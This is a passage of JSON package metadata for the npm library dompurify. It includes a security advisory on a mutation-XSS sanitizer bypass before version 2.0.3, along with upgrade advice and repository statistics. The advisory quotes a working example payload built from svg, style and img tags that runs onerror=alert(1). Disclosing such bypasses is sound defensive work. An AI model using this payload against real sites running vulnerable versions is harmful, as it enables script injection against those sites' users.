2.0.7"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1qanEtYzg4cS1xaHI2/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNocWotajRmaC1ydzdt","url":"https://github.com/advisories/GHSA-chqj-j4fh-rw7m","title":"Cross-Site Scripting in dompurify","description":"Versions of `dompurify` prior to 2.0.3 are vulnerable to Cross-Site Scripting (XSS). The package has an XSS filter bypass due to Mutation XSS in both Chrome and Safari through a combination of `\u003csvg\u003e`/`\u003cmath\u003e` elements and `\u003c/p\u003e`/`\u003c/br\u003e`. An example payload is: `\u003csvg\u003e\u003c/p\u003e\u003cstyle\u003e\u003ca id=\"\u003c/style\u003e\u003cimg src=1 onerror=alert(1)\u003e\"\u003e`. This allows attackers to bypass the XSS protection and execute arbitrary JavaScript in a victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 2.0.3 or later. You may also disallow `\u003csvg\u003e` and `\u003cmath\u003e` through `dompurify` configurations:\n```DOMPurify.sanitize(input, {\n     FORBID_TAGS: ['svg', 'math']\n });```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-08-28T21:25:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2019-16728","https://research.securitum.com/dompurify-bypass-using-mxss/","https://www.npmjs.com/advisories/1205","https://lists.debian.org/debian-lts-announce/2020/10/msg00029.html","https://github.com/advisories/GHSA-chqj-j4fh-rw7m"],"source_kind":"github","identifiers":["GHSA-chqj-j4fh-rw7m","CVE-2019-16728"],"repository_url":null,"blast_radius":0.0,"created_at":"2022-12-21T16:13:22.709Z","updated_at":"2026-10-27T20:14:13.868Z","epss_percentage":0.01459,"epss_percentile":0.7312,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNocWotajRmaC1ydzdt","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNocWotajRmaC1ydzdt","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003c 2.0.3"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNocWotajRmaC1ydzdt/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/dompurify","docker_dependents_count":3491,"docker_downloads_count":2286374267,"usage_url":"https://repos.ecosyste.ms/usage/npm/dompurify","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/dompurify/dependencies","status":null,"funding_links":["https://github.com/sponsors/cure53"],"critical":true,"issue_metadata":{"last_synced_at":"2026-10-23T22:33:58.474Z","issues_count":714,"pull_requests_count":1052,"avg_time_to_close_issue":517745.1935483871,"avg_time_to_close_pull_request":112949.35748792271,"issues_closed_count":713,"pull_requests_closed_count":1035,"pull_request_authors_count":156,"issue_authors_count":531,"avg_comments_per_issue":5.4789915966386555,"avg_comments_per_pull_request":0.9249049429657795,"merged_pull_requests_count":808,"bot_issues_count":0,"bot_pull_requests_count":279,"past_year_issues_count":59,"past_year_pull_requests_count":470,"past_year_avg_time_to_close_issue":252818.54237288135,"past_year_avg_time_to_close_pull_request":47485.338362068964,"past_year_issues_closed_count":59,"past_year_pull_requests_closed_count":464,"past_year_pull_request_authors_count":20,"past_year_issue_authors_count":51,"past_year_avg_comments_per_issue":3.0677966101694913,"past_year_avg_comments_per_pull_request":0.26170212765957446,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":211,"past_year_merged_pull_requests_count":328,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/issues","maintainers":[{"login":"cure53","count":386,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/cure53"},{"login":"x00mario","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/x00mario"}],"active_maintainers":[{"login":"cure53","count":228,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/cure53"},{"login":"x00mario","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/x00mario"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/dompurify/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/dompurify/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/dompurify/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/dompurify/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/dompurify/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/dompurify/codemeta","maintainers":[{"uuid":"cure53","login":"cure53","name":null,"email":"mario@cure53.de","url":null,"packages_count":2,"html_url":"https://www.npmjs.com/~cure53","role":null,"created_at":"2022-11-10T11:33:15.214Z","updated_at":"2022-11-10T11:33:15.214Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/cure53/packages"}]}